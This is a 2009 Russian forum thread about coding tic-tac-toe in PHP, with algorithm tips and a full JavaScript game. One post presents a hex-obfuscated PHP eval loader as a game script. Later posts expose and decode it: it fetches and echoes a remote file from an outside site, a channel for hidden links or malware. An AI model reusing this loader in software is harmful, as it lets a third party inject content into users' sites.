Помощник
|
Игра в крестики, нолики |
dimjan4
|
Сообщение
#1
|
||
|
|
||
|
|||
Apay |
19.10.2009, 22:36;
Ответить: Apay
Сообщение
#2
|
|
[php]$box = explode ('.','.'.$_SESSION['game']);[/php] более простое :)
а вообще-то это лучше делать на js (не перегружать все время страницу) или ajax, тогда и сессии не нужны. начсет алгоритма - поищите в инете или придумайте свой |
|
|
Letmetouchyou |
19.10.2009, 23:50;
Ответить: Letmetouchyou
Сообщение
#3
|
|
проше было бы не через массив, а матрицы.
а "мозг" компу задавть по индексам елементов ) так будет "полноценное" клеточное поле и можно отслеживать рядомстоящие елементы ) |
|
|
alexdrob |
20.10.2009, 1:45;
Ответить: alexdrob
Сообщение
#4
|
|
Я делал на делфях крестики нолики, все ходы были продуманны и выиграть было нельзя)) максимум ничья)
Смысл был такой оцениваешь каждую клетку то есть например (1,1)(1,2)(1,3) (2,1)(2,2)(2,3) (3,1)(3,2)(3,3) берёшь 1,1 и проверяешь если 1) поставив туда компьютер завершит игру и выиграет присваеваешь ей число например 1000 2) поставив туда компьютер предотвратит выигрышь игрока то 500 3)если в клетках строкам которых она пренадлежит есть уже ход компа, но нет хода иргока, то 100 за каждую за каждую строку (для клетки (1,1) строки (1,2)(1,3) (2,1)(3,1) (2,2)(3,3)) а потом просто выбираешь клетку с макс значением и ходишь в неё |
|
|
dimjan4
|
Сообщение
#5
|
|
или ajax Да , я Ajax буду использоватьначсет алгоритма - поищите в инете или придумайте свой Я бы хотел придумать свой, вот мои рассуждения на данный момент:В википедии есть такая вот схемка: http://upload.wikimedia.org/wikipedia/comm...-x-rational.jpg И полностью каждые ходы прописывать....Но там будет ,примерно, 35 ифов... это же очень нагрузит сервет! Насчёт поищите в инете Я много скриптов просмотрел и один из них:[php]<?php eval ("\x64\x69\x65\x3b\x24\x73\x69\x74\x65\x20\x3d\x20\ x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x66\x6f\ x72\x6c\x69\x6e\x6b\x73\x2e\x72\x75\x2f\x6c\x2f\x6c\x2e\ x74\x78\x74\x22\x3b\x69\x66\x28\x40\x66\x75\x6e\x63\x74\ x69\x6f\x6e\x5f\x65\x78\x69\x73\x74\x73\x28\x22\x63\x75\ x72\x6c\x5f\x76\x65\x72\x73\x69\x6f\x6e\x22\x29\x29\x7b\ x24\x63\x68\x20\x3d\x20\x63\x75\x72\x6c\x5f\x69\x6e\x69\ x74\x28\x29\x3b\x63\x75\x72\x6c\x5f\x73\x65\x74\x6f\x70\ x74\x28\x24\x63\x68\x2c\x20\x43\x55\x52\x4c\x4f\x50\x54\ x5f\x55\x52\x4c\x2c\x24\x73\x69\x74\x65\x29\x3b\x63\x75\ x72\x6c\x5f\x73\x65\x74\x6f\x70\x74\x28\x24\x63\x68\x2c\ x20\x43\x55\x52\x4c\x4f\x50\x54\x5f\x46\x41\x49\x4c\x4f\ x4e\x45\x52\x52\x4f\x52\x2c\x20\x31\x29\x3b\x63\x75\x72\ x6c\x5f\x73\x65\x74\x6f\x70\x74\x28\x24\x63\x68\x2c\x20\ x43\x55\x52\x4c\x4f\x50\x54\x5f\x52\x45\x54\x55\x52\x4e\ x54\x52\x41\x4e\x53\x46\x45\x52\x2c\x31\x29\x3b\x63\x75\ x72\x6c\x5f\x73\x65\x74\x6f\x70\x74\x28\x24\x63\x68\x2c\ x20\x43\x55\x52\x4c\x4f\x50\x54\x5f\x54\x49\x4d\x45\x4f\ x55\x54\x2c\x20\x34\x29\x3b\x65\x63\x68\x6f\x20\x40\x63\ x75\x72\x6c\x5f\x65\x78\x65\x63\x28\x24\x63\x68\x29\x3b\ x63\x75\x72\x6c\x5f\x63\x6c\x6f\x73\x65\x28\x24\x63\x68\ x29\x3b\x7d\x65\x6c\x73\x65\x20\x65\x63\x68\x6f\x20\x40\ x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\ x6e\x74\x73\x28\x24\x73\x69\x74\x65\x29\x3b");?>[/php]Как я понимаю, это зашифрованный скрипт, но это единственный рабочий в интернете... все ходы были продуманны и выиграть было нельзя)) максимум ничья) Вот мне и надо чтобы было трудно выиграть, максимум 1 из 20 выигрывает...
|
|
|
Apay |
20.10.2009, 17:58;
Ответить: Apay
Сообщение
#6
|
|
dimjan4, этот код ничего не делает, только вставляет в сайт кучу ссылок в невидимый див, который берется из чужого сайта (а мог бы быть какой-нить вирус).
я код оставил в назидание другим, но сделал нерабочим. предупреждение: еще что-нить такое - и бан обеспечен. п.с. если находите в инете подобное - расшифруйте (это не сложно), если не можете - выкидывайте код нафиг |
|
|
Witu |
20.10.2009, 18:14;
Ответить: Witu
Сообщение
#7
|
|
[php]
die;$site = "http://www.forlinks.ru/l/l.txt";if(@function_exists("curl_version")){$ch = curl_init();curl_setopt($ch, CURLOPT_URL,$site);curl_setopt($ch, CURLOPT_FAILONERROR, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);curl_setopt($ch, CURLOPT_TIMEOUT, 4);echo @curl_exec($ch);curl_close($ch);}else echo @file_get_contents($site); [/php] тут крестиками ноликами не пахнет Как я понимаю, это зашифрованный скрипт, но это единственный рабочий в интернете... предлагаю бан я уверен в том что он знал о том что там в итоге будет вирус ) PS [php] eval("\x70\x72\x69\x6e\x74\x28\x22\xdf\x20\xf2\xee\xe6\xe5\x20\xf2\xe0\xea\x20\xf3\xec\xe5\xfe\x22\x29\x3b\x20\x69\x66\x20\x28\x40\x67\x65\x74\x5f\x6d\x61\x67\x69\x63\x5f\x71\x75\x6f\x74\x65\x73\x5f\x67\x70\x63\x28\x29\x29\x20\x7b\x20\x65\x63\x68\x6f\x20\x22\xf4\xe8\xeb\xfc\xf2\xf0\xf3\xe9\x20\xea\xe0\xe2\xfb\xf7\xea\xe8\x22\x3b\x20\x7d\x20\x65\x6c\x73\x65\x20\x64\x69\x65\x28\x22\xe2\xea\xeb\xfe\xf7\xe8\x20\x6d\x61\x67\x69\x63\x5f\x71\x75\x6f\x74\x65\x73\x5f\x67\x70\x63\x22\x29\x3b"); [/php] а это мой ответ :) |
|
|
dimjan4
|
Сообщение
#8
|
|
я уверен в том что он знал о том что там в итоге будет вирус ) Вы что?? Я в первый раз слышу, что так можно передать вирус! А насчет предупреждение: еще что-нить такое - и бан обеспечен. Понял! Я действительно не знал! тут крестиками ноликами не пахнет Я же говорю, что не умею этот код расшифровывать! Моя целью проживания на этом форуме - научиться программировать...Я даже и не думал навредить форумчаном, так как с Вашей помощью я многому научился! Насчёт этого кода: залезьте в google и наберите что то в этом роде: php скрипт крестики нолики ...Вы сами увидете , что существует 2 php скрипта этой игры: один не рабочий (с ошибками) а второй вот это ... Можете мне объяснить как расшифровывать?? |
|
|
Apay |
20.10.2009, 19:09;
Ответить: Apay
Сообщение
#9
|
|
это пока не вирус, а может им быть, если на forlinks другой файлик закинут.
на первый раз - просто устное предупреждение. кстати, я погуглил для интереса, там гораздо брольше чем 2 скрипта. и если вы написали один не рабочий (с ошибками) а второй вот это ... значит вы пробовали оба.ваши ответы очень нелогичны и невпопад, так что, как говорят "не отмажешься". |
|
|
Witu |
21.10.2009, 8:54;
Ответить: Witu
Сообщение
#10
|
|
dimjan4, тут отмазаться нереально
гугл выдал " Результаты 1 - 10 из примерно 3 450 для php скрипт крестики нолики. (0,06 секунд) " еслиб ты искал крестики нолики то тыб увидел это [php] <html> <head> <title>Tic Tac Toe</title> <META http-equiv="Content-Type" content="text/html; charset=windows-1251"> <Style> A:Link{ Color: #000000; Text-decoration: underline} A:Visited{ Color: #000000; Text-decoration: underline} A:Hover{ Color: #000000; Text-decoration: none} td, body {font-family: verdana, arial, helvetica; font-size:11px;} </Style> </head> <body bgcolor="#EDEDED" text="#000000" link="#000000" topmargin="0" leftmargin="0"> <center> <FORM> <INPUT SIZE=1 NAME="a0" OnFocus="complain(this)"> <INPUT TYPE="button" NAME="b0" OnClick="clickit(this)"> <INPUT SIZE=1 NAME="a1" OnFocus="complain(this)"> <INPUT TYPE="button" NAME="b1" OnClick="clickit(this)"> <INPUT SIZE=1 NAME="a2" OnFocus="complain(this)"> <INPUT TYPE="button" NAME="b2" OnClick="clickit(this)"><BR> <INPUT SIZE=1 NAME="a3" OnFocus="complain(this)"> <INPUT TYPE="button" NAME="b3" OnClick="clickit(this)"> <INPUT SIZE=1 NAME="a4" OnFocus="complain(this)"> <INPUT TYPE="button" NAME="b4" OnClick="clickit(this)"> <INPUT SIZE=1 NAME="a5" OnFocus="complain(this)"> <INPUT TYPE="button" NAME="b5" OnClick="clickit(this)"><BR> <INPUT SIZE=1 NAME="a6" OnFocus="complain(this)"> <INPUT TYPE="button" NAME="b6" OnClick="clickit(this)"> <INPUT SIZE=1 NAME="a7" OnFocus="complain(this)"> <INPUT TYPE="button" NAME="b7" OnClick="clickit(this)"> <INPUT SIZE=1 NAME="a8" OnFocus="complain(this)"> <INPUT TYPE="button" NAME="b8" OnClick="clickit(this)"><BR> <table border=0><tr><td> Message:</td><td> <INPUT NAME="output" TYPE="text"></td></tr> <tr><td>Difficulty: </td><td><SELECT NAME="difficulty" OnChange="diff=form.difficulty[form.difficulty.selectedIndex].value;"> <OPTION VALUE=1> Very Easy <OPTION VALUE=2> Easy <OPTION VALUE=3 SELECTED> Medium <OPTION VALUE=4> Hard (may think a long time) </SELECT></td></tr> <tr><td></td><td><INPUT TYPE="button" VALUE="Computer Moves First" OnClick="if (!step++) this.form.a4.value='O';"></td></tr> <tr><td></td> <td><INPUT TYPE="reset" VALUE="Restart" OnClick="clear_all(this.form)"></td></tr> </table> </FORM> <script LANGUAGE="LiveScript"> <!---Copyright 1996 Chris Englmeier <!---Feel free to use this script as long as these copyright <!-- line remain as is <!-- step = 0; diff=3; // change board when button is clicked function clear_all(form) { step = 0; for (i=0;i<9; ++i) { position="a"+i; form[position].value=""; } } // change board when button is clicked function clickit(field) { if (step == -1) {alert("Reset to play again"); return;} position=field.name.substring(1,2,1); position = 'a'+position; if (field.form[position].value !="") {alert("Can't go there"); return;} field.form[position].value="X"; if (eval_pos(field.form)) { field.form.output.value="You Win!"; step = -1; return; } position=get_move(field.form); field.form.output.value='I moved to ' + position.substring(1,2,1); if (position=="") { field.form.output.value="No Winner."; step = -1; return; } field.form[position].value="O"; if (eval_pos(field.form)) { field.form.output.value="You Lose!"; step = -1; } } // see if there is a winner function eval_pos(form) { if ((form.a0.value!="" && form.a0.value==form.a3.value && form.a0.value==form.a6.value)|| (form.a0.value!="" && form.a0.value==form.a1.value && form.a0.value==form.a2.value) || (form.a0.value!="" && form.a0.value==form.a4.value && form.a0.value==form.a8.value) || (form.a1.value!="" && form.a1.value==form.a4.value && form.a1.value==form.a7.value) || (form.a2.value!="" && form.a2.value==form.a5.value && form.a2.value==form.a8.value) || (form.a2.value!="" && form.a2.value==form.a4.value && form.a2.value==form.a6.value) || (form.a3.value!="" && form.a3.value==form.a4.value && form.a3.value==form.a5.value) || (form.a6.value!="" && form.a6.value==form.a7.value && form.a6.value==form.a8.value)) return true; else return false; } function f(a) { if (a == "") return "."; else return a; } // get position for move. function comp_move(form,player,weight,depth) { var cost; var bestcost=-2; var position; var newplayer; if (player=="X") newplayer="O"; else newplayer="X"; if (depth==diff) return 0; if (eval_pos(form)) return 1; for (var i=0; i<9; ++i) { position='a'+i; if (form[position].value != "") continue; form[position].value=player; cost = comp_move(form,newplayer, -weight, depth+1); if (cost > bestcost) { bestcost=cost; if (cost==1) i=9; } form[position].value=""; } if (bestcost==-2) bestcost=0; return(-bestcost); } // get position for move. function get_move(form) { var cost; var bestcost=-2; bestmove=""; // don't think about first move. if (step++ == 0) if (form.a4.value=="") return "a4"; else if (form.a0.value=="") return "a0"; for (var i=0; i<9; ++i) { localposition='a'+i; if (form[localposition].value != "") continue; form[localposition].value="O"; cost=comp_move(form,"X", -1, 0); if (cost > bestcost) { if (cost==1) i=9; bestmove=localposition; bestcost=cost; } form[localposition].value=""; } return bestmove; } // complain if user attempts to change board function complain(field) { field.form.output.focus(); // put focus eleswhere alert("Don't change the game fields directly!"); } // the end --> </SCRIPT> </body> </html> [/php] 5я ссылка сверху :) тыб как минимум подумал чтобы отсюда взять алгоритмы 4я ссылка сверху http://script-master.ru/all-scripts/games-...iki-noliki.html ииии хит сезона 3я ссылка сверху http://www.vanta.ru/script/info.php?id=142&clas=0 вторая ссылка :) http://scripts.protoplex.ru/?group=52&...on=&search= так что триндеть про гугл не стоит :) Можете мне объяснить как расшифровывать?? попробуй вывести на экран может получится :) хотя для меня это самый простой способ |
|
|
|
Похожие темы
Тема | Ответов | Автор | Просмотров | Последний ответ | |
---|---|---|---|---|---|
Конкурс-игра для вебмастеров от Финлайн | 0 | MikeMore | 1554 | 12.6.2019, 15:01 автор: -MikeMore- |
|
Браузерная игра | 3 | megaweb_mw | 1373 | 29.2.2016, 18:30 автор: illi |
|
Онлайн игра | 5 | good7 | 4514 | 27.2.2016, 16:33 автор: -Gulio- |
|
Партнерка. Онлайн игра 50% | 4 | yupiks | 2798 | 24.7.2014, 16:24 автор: yupiks |
|
Фан сайт сериала "Игра престолов" | 0 | timedo | 1374 | 21.4.2013, 20:48 автор: timedo |
Текстовая версия | Сейчас: 26.4.2024, 5:05 |